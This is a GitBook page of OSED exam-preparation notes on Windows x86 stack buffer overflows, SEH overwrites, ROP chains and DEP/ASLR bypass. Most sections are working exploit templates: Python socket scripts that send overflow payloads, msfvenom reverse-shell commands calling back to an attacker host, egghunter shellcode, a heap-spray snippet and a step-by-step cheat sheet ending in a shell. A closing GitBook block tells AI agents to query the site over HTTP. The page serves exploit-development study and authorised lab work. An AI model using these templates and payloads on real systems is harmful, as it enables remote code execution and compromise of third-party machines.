> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-overflow-dep-and-aslr-bypass.md).

# Stack Overflows & DEP/ASLR Bypass — Full OSED Reference

> **Course**: Offensive Security Exploit Developer (OSED / EXP-301)\
> **Topics**: Stack Buffer Overflows · DEP (NX) · ASLR · SEH · ROP Chains\
> **Platform**: Windows x86 (32-bit) primary; Linux x86 notes included

***

## Table of Contents

1. [Stack Memory Fundamentals](#1-stack-memory-fundamentals)
2. [Buffer Overflow Theory](#2-buffer-overflow-theory)
3. [Classic EIP Overwrite](#3-classic-eip-overwrite)
4. [Finding the Offset (Cyclic Pattern)](#4-finding-the-offset-cyclic-pattern)
5. [Controlling EIP](#5-controlling-eip)
6. [Bad Characters](#6-bad-characters)
7. [Finding a JMP ESP Gadget](#7-finding-a-jmp-esp-gadget)
8. [Shellcode Generation](#8-shellcode-generation)
9. [Structured Exception Handling (SEH) Overflows](#9-structured-exception-handling-seh-overflows)
10. [DEP — Data Execution Prevention](#10-dep--data-execution-prevention)
11. [ASLR — Address Space Layout Randomization](#11-aslr--address-space-layout-randomization)
12. [Return-Oriented Programming (ROP)](#12-return-oriented-programming-rop)
13. [ROP Chain: Defeating DEP (VirtualAlloc / VirtualProtect)](#13-rop-chain-defeating-dep-virtualalloc--virtualprotect)
14. [ASLR Bypass Techniques](#14-aslr-bypass-techniques)
15. [Combined DEP + ASLR Bypass](#15-combined-dep--aslr-bypass)
16. [Egghunters](#16-egghunters)
17. [Tools Reference](#17-tools-reference)
18. [Cheat Sheet](#18-cheat-sheet)

***

## 1. Stack Memory Fundamentals

### Stack Layout (x86, grows downward)

```
High addresses
┌──────────────────────────┐
│   argv, argc             │  main() arguments
├──────────────────────────┤
│   environment variables  │
├──────────────────────────┤
│   main() stack frame     │
│   ┌──────────────────┐   │
│   │ saved EBP        │   │  ← EBP points here
│   ├──────────────────┤   │
│   │ saved EIP (ret)  │   │  ← return address (TARGET)
│   ├──────────────────┤   │
│   │ local variables  │   │
│   │ char buf[256]    │   │  ← write starts here
│   └──────────────────┘   │
├──────────────────────────┤
│   callee stack frame     │
└──────────────────────────┘
Low addresses  ← stack grows this way
```

### Key Registers

| Register | Role                                     |
| -------- | ---------------------------------------- |
| **EIP**  | Instruction Pointer — what executes next |
| **ESP**  | Stack Pointer — top of stack             |
| **EBP**  | Base Pointer — base of current frame     |
| **EAX**  | Return value, general purpose            |

### Function Prologue / Epilogue

```asm
; Prologue (function entry)
PUSH EBP          ; save caller's base pointer
MOV  EBP, ESP     ; set up new frame
SUB  ESP, 0x100   ; allocate 256 bytes for locals

; Epilogue (function exit)
MOV  ESP, EBP     ; restore stack pointer
POP  EBP          ; restore caller's EBP
RET               ; pop saved EIP → jump to it
```

The `RET` instruction pops the saved EIP from the stack. **If we overwrite that saved EIP before RET executes, we control execution.**

***

## 2. Buffer Overflow Theory

### What Happens During Overflow

```
NORMAL (safe):
buf[256] filled with 256 bytes of 'A'

Stack:
[ AAAA...AAAA (256) ][ saved EBP ][ saved EIP ][ ... ]

OVERFLOW (unsafe):
strcpy() copies 300 bytes — no bounds check

Stack:
[ AAAA...AAAA (256) ][ AAAA ][ 41414141 ] ← EIP corrupted!
                       ^^^^     ^^^^^^^^
                    EBP gone   EIP = 0x41414141 → CRASH
```

### Vulnerable Functions (no bounds checking)

```c
strcpy()    strcat()    gets()     sprintf()
scanf("%s") read()      recv()     memcpy()  // if size is user-controlled
```

### Minimal Vulnerable Program

```c
#include <string.h>
#include <stdio.h>

void vulnerable(char *input) {
    char buf[256];
    strcpy(buf, input);   // NO bounds check — copies until \x00
    printf("Got: %s\n", buf);
}

int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}
```

***

## 3. Classic EIP Overwrite

### Phase 1 — Crash the Application

Send a large buffer and confirm crash:

```python
#!/usr/bin/env python3
# stage1_crash.py — confirm the crash

import socket

HOST = "192.168.x.x"
PORT = 9999

payload = b"A" * 2000   # large enough to overflow

with socket.socket() as s:
    s.connect((HOST, PORT))
    s.send(payload + b"\r\n")
```

In Immunity Debugger, after crash:

```
EIP = 41414141   ← confirmed overflow controls EIP
```

***

## 4. Finding the Offset (Cyclic Pattern)

We need to know **exactly how many bytes** before we hit EIP.

### Method 1: Metasploit Pattern (most common for OSED)

```bash
# Generate 2000-byte unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

# After crash, EIP shows e.g.: 39694438
# Find offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
# [*] Exact match at offset 1978
```

### Method 2: mona.py in Immunity

```
!mona pattern_create 2000
!mona pattern_offset EIP_VALUE
!mona findmsp          ← finds all register offsets at once
```

### Method 3: Manual Cyclic (pwntools, Linux)

```python
from pwn import *

# Generate
pattern = cyclic(2000)
print(pattern)

# After crash, find offset
offset = cyclic_find(0x39694438)
print(f"Offset: {offset}")
```

### Verification Script

```python
#!/usr/bin/env python3
# stage2_verify_offset.py

import socket

OFFSET = 1978
HOST   = "192.168.x.x"
PORT   = 9999

payload  = b"A" * OFFSET
payload += b"B" * 4        # should appear in EIP as 42424242
payload += b"C" * (2000 - OFFSET - 4)

with socket.socket() as s:
    s.connect((HOST, PORT))
    s.send(payload + b"\r\n")

# In Immunity: EIP = 42424242  ✓
# ESP points into CCCC region  ✓
```

***

## 5. Controlling EIP

After confirming offset, you need to redirect EIP to **useful code**.

### Direct shellcode on stack (no DEP):

```
EIP → JMP ESP gadget → ESP points to shellcode → shellcode executes
```

Stack state at `RET`:

```
[ buf (1978 bytes) ][ JMP ESP addr ][ shellcode... ]
                         ↑ EIP           ↑ ESP points here after RET
```

***

## 6. Bad Characters

Some bytes corrupt the payload when processed. You must identify and avoid them.

### Common Bad Characters

| Char            | Hex    | Reason                                |
| --------------- | ------ | ------------------------------------- |
| Null            | `\x00` | String terminator — truncates payload |
| Newline         | `\x0a` | Line-based protocols                  |
| Carriage return | `\x0d` | Line-based protocols                  |
| Space           | `\x20` | Space-delimited protocols             |
| `=`             | `\x3d` | URL encoding                          |
| `&`             | `\x26` | URL encoding                          |

### Bad Char Test Script

```python
#!/usr/bin/env python3
# badchar_test.py

import socket

OFFSET = 1978
HOST   = "192.168.x.x"
PORT   = 9999

# All bytes except \x00 (always bad)
badchars = bytes(range(0x01, 0x100))

payload  = b"A" * OFFSET
payload += b"B" * 4          # EIP placeholder
payload += badchars

with socket.socket() as s:
    s.connect((HOST, PORT))
    s.send(payload + b"\r\n")
```

In Immunity after crash:

```
# ESP points to our badchar sequence
# Right-click ESP → Follow in Dump
# Look for where the sequence breaks or corrupts

!mona bytearray -b "\x00"          # generate reference
!mona compare -f bytearray.bin -a ESP_ADDRESS
# mona highlights bad chars automatically
```

Remove each bad char and repeat until `!mona compare` shows "Unmodified".

***

## 7. Finding a JMP ESP Gadget

We need a `JMP ESP` (or equivalent) instruction in a **loaded module** so we can point EIP at it.

### Requirements for the Module

* Must be **loaded** at runtime
* Address must **not contain bad chars**
* Ideally from a module **without ASLR / SafeSEH** (no-PIE DLL)

### Find with mona.py

```
# In Immunity Debugger
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# Lists all JMP ESP gadgets across all modules
# Prefer addresses from modules without ASLR

!mona modules
# Shows each module's protection flags:
# Rebase | SafeSEH | ASLR | NXCompat | OS DLL
# FALSE    FALSE    FALSE   FALSE     FALSE  ← ideal module
```

### Find Manually

```
# In Immunity, Ctrl+F (search in all modules)
Search for: FFE4    ← opcode for JMP ESP
```

### Equivalent Gadgets (same effect)

```asm
JMP ESP          ; FF E4
CALL ESP         ; FF D4
PUSH ESP ; RET   ; 54 C3
```

### Example mona output

```
0x625011af : JMP ESP | {PAGE_EXECUTE_READ} [essfunc.dll]
             ASLR: False | SafeSEH: False | Rebase: False
             ← USE THIS ADDRESS
```

***

## 8. Shellcode Generation

### msfvenom — Standard OSED Approach

```bash
# Windows reverse shell (most common)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=192.168.119.X \
    LPORT=4444 \
    -b "\x00\x0a\x0d" \
    -f python \
    -v shellcode

# Windows exec (pop calc — for PoC only)
msfvenom -p windows/exec \
    CMD=calc.exe \
    -b "\x00\x0a\x0d" \
    -f python \
    -v shellcode

# Encoded (shikata_ga_nai encoder)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=192.168.119.X LPORT=4444 \
    -e x86/shikata_ga_nai -i 3 \
    -b "\x00" \
    -f python
```

### NOP Sled

Add a NOP sled before shellcode to absorb imprecise jumps:

```python
nop_sled = b"\x90" * 16   # 16 NOPs
```

### Final Exploit Structure (no DEP/ASLR)

```python
#!/usr/bin/env python3
# exploit_classic.py — classic stack overflow, no mitigations

import socket

HOST   = "192.168.x.x"
PORT   = 9999
OFFSET = 1978
JMP_ESP = b"\xaf\x11\x50\x62"   # 0x625011af in little-endian

# msfvenom output
shellcode = (
    b"\xda\xc0\xbb\x4e\x5c\x22\xb4\xd9\x74\x24\xf4\x5a\x2b"
    # ... full shellcode here ...
)

payload  = b"A" * OFFSET        # fill buffer up to EIP
payload += JMP_ESP               # overwrite EIP with JMP ESP address
payload += b"\x90" * 16         # NOP sled
payload += shellcode             # shellcode at ESP

with socket.socket() as s:
    s.connect((HOST, PORT))
    s.recv(1024)                 # banner
    s.send(payload + b"\r\n")

print(f"[+] Payload sent: {len(payload)} bytes")
```

***

## 9. Structured Exception Handling (SEH) Overflows

When a standard EIP overwrite is not possible (stack cookie, filter), SEH is the alternate path.

### SEH Chain Structure

```
Thread Information Block (TEB) → SEH linked list:

┌────────────────────┐
│  next SEH record   │ → pointer to next handler (or 0xFFFFFFFF = end)
├────────────────────┤
│  SEH handler ptr   │ → address of handler function
└────────────────────┘
```

### Overflow into SEH

```
[ buf ][ ... padding ... ][ nSEH 4 bytes ][ SEH 4 bytes ]
                                ↑               ↑
                          short jump         pop/pop/ret
                          (\xeb\x06\x90\x90)  gadget addr
```

When an exception fires:

1. Windows walks SEH chain
2. Calls our overwritten SEH handler (the `pop/pop/ret` gadget)
3. `pop/pop/ret` returns to nSEH
4. nSEH short-jumps `\xeb\x06` over SEH → lands in shellcode

### Finding pop/pop/ret Gadgets

```
!mona seh -cpb "\x00\x0a\x0d"
# Lists all pop/pop/ret sequences in non-SafeSEH modules
```

Any two POPs followed by RET work:

```asm
POP EAX
POP EBX
RET
```

### SEH Exploit Template

```python
#!/usr/bin/env python3
# exploit_seh.py

import socket

HOST    = "192.168.x.x"
PORT    = 9999
OFFSET  = 2488              # offset to nSEH (found via pattern)
PPR     = b"\x24\x10\xd0\x62"   # pop/pop/ret address (little-endian)

nSEH    = b"\xeb\x06\x90\x90"   # short jmp 6 bytes forward
SEH     = PPR

shellcode = b"\x90" * 32 + b"<msfvenom output>"

payload  = b"A" * OFFSET
payload += nSEH
payload += SEH
payload += shellcode

with socket.socket() as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    s.send(payload + b"\r\n")
```

### Verify SEH in Immunity

```
# Trigger crash, then:
Alt+S   ← View > SEH Chain
# Shows current SEH chain — verify your nSEH/SEH values appear
# Step through: Shift+F9 to pass exception to program
```

***

## 10. DEP — Data Execution Prevention

### What DEP Does

DEP marks memory regions as either **executable (X)** or **writable (W)** — never both.

```
Stack memory:  Writable ✓  but NOT Executable ✗
Code segment:  Executable ✓  but NOT Writable ✗
```

So even if you redirect EIP to ESP (where your shellcode sits), the CPU refuses to execute it → **Access Violation**.

### DEP Modes (Windows)

| Mode        | Meaning                                                |
| ----------- | ------------------------------------------------------ |
| `OptIn`     | DEP only for system processes (default, older Windows) |
| `OptOut`    | DEP for everything except opt-out list                 |
| `AlwaysOn`  | DEP enforced everywhere                                |
| `AlwaysOff` | DEP disabled                                           |

```cmd
# Check DEP status
bcdedit /enum | findstr nx

# nx policy values:
# OptIn     ← most common in lab scenarios
# AlwaysOn  ← requires hardware bypass
```

### Why Shellcode on Stack Fails with DEP

```
EIP → JMP ESP → ESP → shellcode
                          ↑
              CPU: "This page is NX — ACCESS VIOLATION"
              DEP kills the process before first shellcode byte executes
```

### The Solution: ROP Chains

Instead of jumping to shellcode, we chain together **small snippets of existing executable code** (gadgets) to:

1. Call `VirtualProtect()` or `VirtualAlloc()` to mark our shellcode page as executable
2. Jump to shellcode

***

## 11. ASLR — Address Space Layout Randomization

### What ASLR Does

Randomizes base addresses of:

* Stack
* Heap
* DLLs (kernel32.dll, ntdll.dll, etc.)
* Executable (if PIE/DYNAMICBASE)

```
Without ASLR:
  kernel32.dll always at 0x7c800000
  ntdll.dll    always at 0x77f00000
  Stack        always around 0x0012xxxx

With ASLR (each boot):
  kernel32.dll at 0x75a30000  (random)
  ntdll.dll    at 0x77210000  (random)
  Stack        at 0xb4f2xxxx  (random)
```

### Why ASLR Breaks Exploits

Hardcoded gadget addresses become wrong every reboot. A ROP chain that worked yesterday crashes today.

### ASLR Granularity (Important for OSED)

On Windows x86, ASLR randomizes the **base address** but only at **page granularity (4KB)** and only at **load time (boot)**. Within a session, addresses are stable.

Also: **not all modules have ASLR**. Many third-party DLLs are compiled without `/DYNAMICBASE`. These are your ROP gadget sources.

```
!mona modules
# Find modules where ASLR = False — use these for ROP gadgets
```

***

## 12. Return-Oriented Programming (ROP)

### Core Concept

Instead of injecting code, we **reuse existing code** in the executable/DLLs. We chain together sequences ending in `RET` — called **gadgets**.

```
Gadget: small instruction sequence ending in RET

Example gadgets:
  0x1001ab10:  POP EAX ; RET
  0x1001cd30:  MOV [EAX], ECX ; RET
  0x1001ef50:  ADD EAX, 0x10 ; RET
  0x10023300:  PUSH ESP ; RET
```

### How ROP Works

The stack becomes a **program**: each entry is either data or a gadget address. `RET` pops the next address and jumps to it.

```
Stack (ESP pointing here):
┌──────────────────┐
│ 0x1001ab10       │ ← POP EAX ; RET  → pops next value into EAX
├──────────────────┤
│ 0x00401234       │ ← value popped into EAX
├──────────────────┤
│ 0x1001cd30       │ ← MOV [EAX], ECX ; RET
├──────────────────┤
│ ...              │
└──────────────────┘
```

### Useful Gadget Types

```asm
; Load value into register
POP EAX ; RET          ; EAX = next stack value

; Move between registers
MOV EAX, ECX ; RET

; Add to register
ADD EAX, 4 ; RET
SUB EAX, 8 ; RET

; Dereference (read/write memory)
MOV [EAX], ECX ; RET  ; write ECX to address in EAX
MOV EAX, [EAX] ; RET  ; read memory at EAX into EAX

; Stack pivot (change ESP)
XCHG EAX, ESP ; RET   ; pivot stack to EAX
ADD ESP, 0x10 ; RET    ; skip over data on stack

; NOP equivalent
PUSH EAX ; POP EAX ; RET  ; does nothing useful but advances RET chain
```

### Finding Gadgets

```bash
# ROPgadget (Linux/Windows)
ROPgadget --binary vuln.exe --rop --badbytes "000a0d"

# rp++ (fast, supports Windows PE)
rp++ -f vuln.dll -r 4 --va 0x0  > gadgets.txt

# mona in Immunity (OSED standard tool)
!mona rop -cpb "\x00\x0a\x0d"
!mona ropfunc -cpb "\x00\x0a\x0d"  ← finds gadgets near API calls

# pwntools (Linux)
from pwn import *
elf = ELF('./vuln')
rop = ROP(elf)
rop.find_gadget(['pop eax', 'ret'])
```

***

## 13. ROP Chain: Defeating DEP (VirtualAlloc / VirtualProtect)

The standard OSED technique: use a ROP chain to call `VirtualProtect()` which marks our shellcode region as executable, then jump to it.

### VirtualProtect Signature

```c
BOOL VirtualProtect(
    LPVOID lpAddress,      // address of memory to change
    SIZE_T dwSize,         // size of region
    DWORD  flNewProtect,   // new protection (0x40 = RWX)
    PDWORD lpflOldProtect  // pointer to store old protection
);
```

We need to set up these arguments on the stack before calling it.

### ROP Chain Strategy

```
Goal: call VirtualProtect(shellcode_addr, 0x201, 0x40, writable_ptr)

ROP chain sets up:
  [VirtualProtect addr]     ← return address (call target)
  [shellcode addr]          ← return addr after VP (jump to shellcode)
  [shellcode addr]          ← arg1: lpAddress
  [0x201]                   ← arg2: dwSize (513 bytes)
  [0x40]                    ← arg3: PAGE_EXECUTE_READWRITE
  [writable addr]           ← arg4: lpflOldProtect (any writable addr)
```

### mona Automated ROP Chain

```
# mona can generate the full VirtualProtect ROP chain automatically!
!mona rop -cpb "\x00\x0a\x0d"
# Creates rop.txt and rop_chains.txt with ready-made chains
```

mona output (`rop_chains.txt`):

```python
# Python - VirtualProtect
rop_gadgets = [
  0x1002b8e1,  # POP EBP ; RETN
  0x1002b8e1,  # skip 4 bytes [POP EBP]
  0x1001b4e4,  # POP EBX ; RETN
  0x00000201,  # 0x00000201 (dwSize)
  # ... (full chain from mona)
]
```

### Manual ROP Chain Example (Annotated)

```python
#!/usr/bin/env python3
# exploit_rop_dep.py — DEP bypass via VirtualProtect ROP chain
import struct

def p32(val):
    return struct.pack("<I", val)

# Base: essfunc.dll (no ASLR, no DEP)
BASE = 0x62500000

# Gadget addresses (from ROPgadget / mona)
POP_EAX      = BASE + 0x0000ab10   # POP EAX ; RET
POP_EBX      = BASE + 0x0000cd30   # POP EBX ; RET
POP_ECX      = BASE + 0x0000ef50   # POP ECX ; RET
POP_EDX      = BASE + 0x00011234   # POP EDX ; RET
MOV_EAX_ECX  = BASE + 0x00013300   # MOV [EAX], ECX ; RET
XCHG_EAX_ESP = BASE + 0x00015500   # XCHG EAX, ESP ; RET
PUSHAD       = BASE + 0x00017700   # PUSHAD ; RET
JMP_ESP      = BASE + 0x000011af   # JMP ESP

# VirtualProtect address (from kernel32.dll — fixed if no ASLR on kernel32)
VIRTUALPROTECT = 0x7c801ad4   # kernel32.VirtualProtect (XP SP3)

# Writable location for lpflOldProtect
WRITABLE = BASE + 0x00030000   # .data section

# Shellcode placeholder address (will be on stack — approximate)
SHELLCODE_ADDR = 0x0012f024    # find via ESP at crash + offset

# === ROP Chain ===
rop_chain  = p32(POP_EAX)
rop_chain += p32(VIRTUALPROTECT)  # EAX = VirtualProtect addr

# ... (full chain sets up args then calls VirtualProtect)
# In practice: use mona's generated chain and paste here

# === Full Exploit ===
OFFSET    = 1978
shellcode = b"\x90" * 16 + b"\xcc" * 4   # NOP + INT3 for testing

payload   = b"A" * OFFSET
payload  += rop_chain        # overwrites EIP, chain begins
payload  += shellcode

print(f"[+] Payload: {len(payload)} bytes")
with open("rop_payload.bin", "wb") as f:
    f.write(payload)
```

### Stack Pivot

Sometimes ESP doesn't point to your ROP chain after EIP overwrite. Use a **stack pivot** to move ESP:

```asm
XCHG EAX, ESP   ; if EAX points to your buffer
ADD  ESP, 0x28  ; if ESP needs to skip some bytes
XCHG ESP, EDI   ; etc.
```

***

## 14. ASLR Bypass Techniques

### Technique 1: Non-ASLR Module

The simplest and most common OSED technique — use gadgets from a DLL compiled without `/DYNAMICBASE`.

```
!mona modules
# Find: ASLR: False  ← use this module's gadgets
# Common: third-party app DLLs, old software components
```

Addresses from these modules are **fixed across reboots** despite system ASLR.

### Technique 2: Information Leak

Leak a runtime address, compute module base, then calculate gadget addresses.

```python
# Example: format string leak (covered in format string README)
# Receive leaked address, compute base:

leaked_addr = 0x7c9d1234   # leaked from app response
known_offset = 0x9d1234    # offset of leaked function from module base
module_base  = leaked_addr - known_offset   # = 0x7c000000
gadget_addr  = module_base + 0x0000ab10     # now reliable
```

### Technique 3: Partial Overwrite

On 32-bit systems with partial ASLR, only the high bytes of an address are randomized. If you can write only the low 2 bytes of a return address (e.g., off-by-one, short write), the high bytes stay the same:

```
Original return addr: 0x77d1_ab10
Partial overwrite:    0x77d1_XXXX   ← only low 2 bytes written
                           ^^^^
                     These stay — only 8 bits of entropy
                     = 256 possible values — brute-forceable!
```

### Technique 4: Heap Spray

Pre-place shellcode (or ROP chain) at many heap addresses so a near-random jump lands in it:

```javascript
// Classic browser heap spray (JavaScript concept)
var nop_sled = unescape("%u9090%u9090");
while (nop_sled.length < 0x40000) nop_sled += nop_sled;
var shellcode = nop_sled + actual_shellcode;
var heap_chunks = [];
for (var i = 0; i < 1000; i++) heap_chunks[i] = shellcode.substring(0, 0x40000);
// Heap is now ~50% shellcode — land anywhere and win
```

### Technique 5: Return-to-PLT / Return-to-libc (Linux)

```bash
# Find system() address (no ASLR) or leak it
ldd ./vuln
# libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e2a000)

# Calculate system() offset
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
# 00040190  system@@GLIBC_2.0

# If ASLR off: system() = 0xb7e2a000 + 0x40190 = 0xb7e6a190

# Payload:
payload = b"A" * offset + p32(system_addr) + p32(exit_addr) + p32(binsh_addr)
```

***

## 15. Combined DEP + ASLR Bypass

This is the full OSED-level challenge: both mitigations active.

### Strategy

```
Step 1: LEAK — defeat ASLR
         ↓ Find an info disclosure (format string, error message,
           partial pointer read) to get a runtime address.
           Compute module base from it.

Step 2: ROP — defeat DEP
         ↓ Build ROP chain using gadgets from now-known base.
           Chain calls VirtualProtect(shellcode_page, RWX).

Step 3: EXECUTE
         ↓ Jump to shellcode on now-executable stack/heap.
```

### Leak → ROP → Shell Flow

```python
#!/usr/bin/env python3
# Full DEP+ASLR bypass skeleton

import socket, struct

def p32(v): return struct.pack("<I", v)
def u32(b): return struct.unpack("<I", b)[0]

HOST = "192.168.x.x"
PORT = 9999

# ── STAGE 1: Leak an address ──────────────────────────────────────────
# (Application-specific — maybe error message shows pointer,
#  maybe format string vuln exists, maybe an OOB read)

with socket.socket() as s:
    s.connect((HOST, PORT))
    banner = s.recv(1024)

    # Send leak trigger
    leak_payload = b"LEAK_TRIGGER_SPECIFIC_TO_APP"
    s.send(leak_payload)
    response = s.recv(1024)

# Parse leaked address from response
leaked = u32(response[LEAK_OFFSET:LEAK_OFFSET+4])
print(f"[+] Leaked address: 0x{leaked:08x}")

# Compute module base
KNOWN_OFFSET  = 0x1234ab    # offset of leaked symbol from module base
module_base   = leaked - KNOWN_OFFSET
print(f"[+] Module base: 0x{module_base:08x}")

# ── STAGE 2: Build ROP chain with computed addresses ──────────────────
POP_EAX      = module_base + 0x0000ab10
POP_ECX      = module_base + 0x0000ef50
VIRTUALPROTECT = module_base + IAT_OFFSET_VP   # or from known kernel32 if leaked

rop_chain  = p32(POP_EAX)
rop_chain += p32(VIRTUALPROTECT)
# ... full chain ...

# ── STAGE 3: Send exploit ─────────────────────────────────────────────
shellcode = b"\x90"*16 + MSFVENOM_SHELLCODE

OFFSET  = 1978
payload = b"A" * OFFSET + rop_chain + shellcode

with socket.socket() as s:
    s.connect((HOST, PORT))
    s.recv(1024)
    s.send(payload + b"\r\n")
    print("[+] Exploit sent")
```

***

## 16. Egghunters

When buffer space is very small (can't fit full shellcode), use an **egghunter** — tiny stub (\~32 bytes) that searches all of process memory for a tag (egg) and jumps to shellcode there.

### How It Works

```
Egghunter (32 bytes) on stack/small buffer:
  Scans all memory for "W00TW00T" (8 bytes)
  When found → jumps there
  
Shellcode (any size) placed elsewhere (heap, different buffer):
  Prefixed with "W00TW00T"
```

### Standard Windows Egghunter (NtAccessCheckAndAuditAlarm)

```python
# 32-byte egghunter — searches memory for "W00TW00T"
egghunter = (
    b"\x66\x81\xca\xff\x0f"   # OR DX, 0x0fff
    b"\x42"                    # INC EDX
    b"\x52"                    # PUSH EDX
    b"\x6a\x02"               # PUSH 2
    b"\x58"                    # POP EAX
    b"\xcd\x2e"               # INT 0x2e (NtAccessCheckAndAuditAlarm)
    b"\x3c\x05"               # CMP AL, 5
    b"\x5a"                    # POP EDX
    b"\x74\xef"               # JE (loop if access denied)
    b"\xb8\x57\x30\x30\x54"  # MOV EAX, "W00T"
    b"\x8b\xfa"               # MOV EDI, EDX
    b"\xaf"                    # SCASD (compare EAX with [EDI])
    b"\x75\xea"               # JNE (no match, keep searching)
    b"\xaf"                    # SCASD (check second "W00T")
    b"\x75\xe7"               # JNE
    b"\xff\xe7"               # JMP EDI (found! jump to shellcode)
)

egg     = b"W00TW00T"
shellcode = egg + ACTUAL_SHELLCODE
```

### Generate with mona

```
!mona egg -t W00T
# Generates egghunter stub, ready to use
```

### Egghunter Exploit Structure

```python
# Small buffer overflow → egghunter
# Large buffer or heap → egg + shellcode

payload_small = b"A" * OFFSET + p32(JMP_ESP) + egghunter

# In a separate request or via heap grooming:
payload_large = egg + shellcode
```

***

## 17. Tools Reference

### Immunity Debugger + mona.py

```
!mona modules              → show all modules + protections
!mona jmp -r esp           → find JMP ESP gadgets
!mona seh                  → find pop/pop/ret for SEH
!mona rop                  → generate ROP chains
!mona bytearray            → generate bad char test array
!mona compare -f X -a Y    → compare memory vs reference
!mona egg -t W00T          → generate egghunter
!mona findmsp              → find offset of all registers
!mona suggest              → suggest exploitation method
!mona pattern_create N     → cyclic pattern
!mona pattern_offset EIP   → find offset from EIP value
```

### ROPgadget

```bash
ROPgadget --binary target.exe --rop
ROPgadget --binary target.dll --rop --badbytes "000a0d"
ROPgadget --binary target.exe --string "/bin/sh"
ROPgadget --binary target.exe --rop | grep "pop eax"
```

### rp++ (faster, Windows PE support)

```bash
rp++ -f target.dll -r 5 > gadgets.txt
grep "POP EAX" gadgets.txt
grep "XCHG EAX, ESP" gadgets.txt
```

### msfvenom Quick Reference

```bash
# List payloads
msfvenom -l payloads | grep windows/shell

# Windows reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=X LPORT=4444 -b "\x00" -f python

# Windows bind shell
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b "\x00" -f python

# Linux reverse shell (x86)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=X LPORT=4444 -b "\x00" -f python

# Encoders
msfvenom -e x86/shikata_ga_nai -i 5 ...
```

### GDB (Linux)

```bash
gdb ./vuln
(gdb) run $(python3 -c "print('A'*300)")
(gdb) info registers
(gdb) x/40wx $esp
(gdb) x/s 0xbffff123
(gdb) break *0x08048456
(gdb) set disable-randomization on    # disable ASLR in session
```

***

## 18. Cheat Sheet

```
STACK OVERFLOW FLOW
═══════════════════
1.  Crash app with large buffer (2000–5000 bytes of A)
2.  Generate cyclic pattern → send → note EIP value
3.  Calculate offset with pattern_offset / mona
4.  Verify: [A*offset][BBBB][CCCC...] → EIP=42424242
5.  Find bad characters (send all bytes, check dump)
6.  Find JMP ESP in non-ASLR module: !mona jmp -r esp -cpb "..."
7.  Generate shellcode: msfvenom -b "badchars" -f python
8.  Build: [A*offset][JMP_ESP][NOP*16][shellcode]
9.  Send → shell

SEH OVERFLOW FLOW
═════════════════
1-5. Same as above, but offset is to nSEH (not EIP)
6.   Find pop/pop/ret: !mona seh -cpb "..."
7.   Build: [A*offset][EB0690 90][PPR addr][NOP*16][shellcode]
8.   Trigger exception → shell

DEP BYPASS (ROP)
═════════════════
1-5. Standard overflow steps
6.   !mona rop → generates VirtualProtect ROP chain
7.   Paste mona's chain into exploit
8.   Append shellcode after ROP chain
9.   ROP calls VirtualProtect(page, RWX) → shellcode runs

ASLR BYPASS
═══════════
Easy:    Use module with ASLR=False for all gadgets
Medium:  Leak one address → compute base → calculate gadgets
Hard:    Heap spray to probabilistically land in shellcode

COMBINED DEP+ASLR
═════════════════
1.  Exploit info leak → get runtime address
2.  Compute base of module containing ROP gadgets
3.  Build ROP chain with dynamic addresses
4.  ROP defeats DEP → shellcode executes

EGGHUNTER (small buffer)
════════════════════════
1.  Small buffer → egghunter stub (32 bytes)
2.  Large buffer elsewhere → "W00TW00T" + shellcode
3.  Egghunter scans memory → finds egg → jumps to shellcode

KEY mona COMMANDS
═════════════════
!mona modules          → find non-ASLR/non-SafeSEH modules
!mona jmp -r esp       → JMP ESP gadgets
!mona seh              → pop/pop/ret gadgets
!mona rop              → full ROP chain generator
!mona egg -t W00T      → egghunter
!mona bytearray        → bad char reference
!mona compare          → verify bad chars
!mona findmsp          → all register offsets at once

PROTECTION FLAGS (mona modules output)
═══════════════════════════════════════
Rebase   | SafeSEH | ASLR  | NXCompat | OS DLL
False      False     False   False       False  ← IDEAL for gadgets
```

***

## Key Takeaway: Mitigation Interaction

```
MITIGATION MATRIX
══════════════════════════════════════════════════════

                  DEP OFF          DEP ON
              ┌─────────────┬────────────────────┐
  ASLR OFF   │ Classic EIP  │ ROP chain          │
              │ overwrite    │ (gadgets from      │
              │ + shellcode  │  fixed addresses)  │
              ├─────────────┼────────────────────┤
  ASLR ON    │ EIP overwrite│ Info leak FIRST    │
              │ with fixed   │ → compute bases    │
              │ JMP ESP in   │ → dynamic ROP chain│
              │ non-ASLR DLL │ → VirtualProtect   │
              └─────────────┴────────────────────┘

Stack Cookies (/GS): force SEH path OR find cookie leak
SafeSEH:             use non-SafeSEH module for pop/pop/ret
CFG:                 advanced — beyond OSED scope
```

***

*For authorized lab environments and OSED/EXP-301 exam preparation only.*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/stack-overflow-dep-and-aslr-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
